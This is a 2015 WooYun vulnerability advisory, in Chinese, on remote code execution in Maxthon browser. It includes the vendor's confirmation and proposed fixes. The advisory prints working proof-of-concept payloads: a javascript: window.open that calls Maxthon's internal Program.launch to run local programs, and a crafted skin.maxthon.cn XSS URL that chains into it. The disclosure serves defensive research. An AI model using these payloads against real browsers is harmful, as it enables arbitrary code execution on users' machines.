漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0122123
漏洞标题:傲游浏览器最新版远程代码执行附过程分析
相关厂商:傲游
漏洞作者: 梧桐雨
提交时间:2015-06-22 17:14
修复时间:2015-09-20 17:26
公开时间:2015-09-20 17:26
漏洞类型:远程代码执行
危害等级:高
自评Rank:12
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-06-22: 细节已通知厂商并且等待厂商处理中
2015-06-22: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向第三方安全合作伙伴开放
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开
简要描述:
之前更新的好猛,直接把前面的一些手里无需交互的给fix掉了,但是这几天仔细研究,绕过了之前的瓶颈,可以通过一些猥琐技巧来继续实现远程代码执行。
详细说明:
先来看看版本号:v4.4.5.3000
通过之前漏洞的洗礼,傲游在订阅的地方已经不能执行本地命令了,统一的将document.domain设置成了about:blank。这使得我前面找到的bypass标签作废。
经过一番研究,定位到一处可以点击的地方:
about:last
通过一些测试,发现这里当出现javascript://协议的时候,这个域是res:
而真正的about:blank,则为空,譬如你们之前修复的about:reader:
顺藤摸瓜,找到对应的js看看他是怎么过滤的:
由于这里仅仅只是粗暴的过滤了&<>等符号,但是并没有对(),以及javascript协议进行限定。
那么我们如何让用户去自己写入javascript://协议呢?我们可以通过window.open()让用户访问一个恶意地址,接着弹出一个新窗口,通过对浏览器关闭或者重定向,让用户访问过的window.open()里面的地址写入到about:last里。
思路有了,我们可以构造代码:
window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')
这样,下次用户再打开about:last的时候,点击新标签页面,就能执行本地的命令:
弹出calc.exe
同理可以执行本地的任意程序。
那么这个漏洞的关键在于如何让漏洞更好用一些,这里有2点。
1,通过异常,将傲游浏览器崩溃掉,下次打开就会自动弹出上次未关闭的页面。
2,通过傲游浏览器*.maxthon.cn下的xss api修改打开第一次的首页。
由于你们对你们的反射型xss并不是很重视。
在 WooYun: 傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息 给你们提交了,你们仅仅只是修复了my.maxthon.cn的xss,对skin.maxthon.cn并未修复。
因此结合上面这些点,构造url如下:
http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.multihomepage", '["about:last"]');window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')}};//
当用户访问之前:
访问上面的url之后:
下次打开浏览器,点击链接执行任意本地程序:
漏洞证明:
修复方案:
1、正则判断可以严谨一些,禁用javascript,()等一些特殊字符。
2、对顶层document.domain做更严格的限定,location.href设置为about:blank并不管用。
版权声明:转载请注明来源 梧桐雨@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2015-06-22 17:24
厂商回复:
确认. 继续过滤
最新状态:
暂无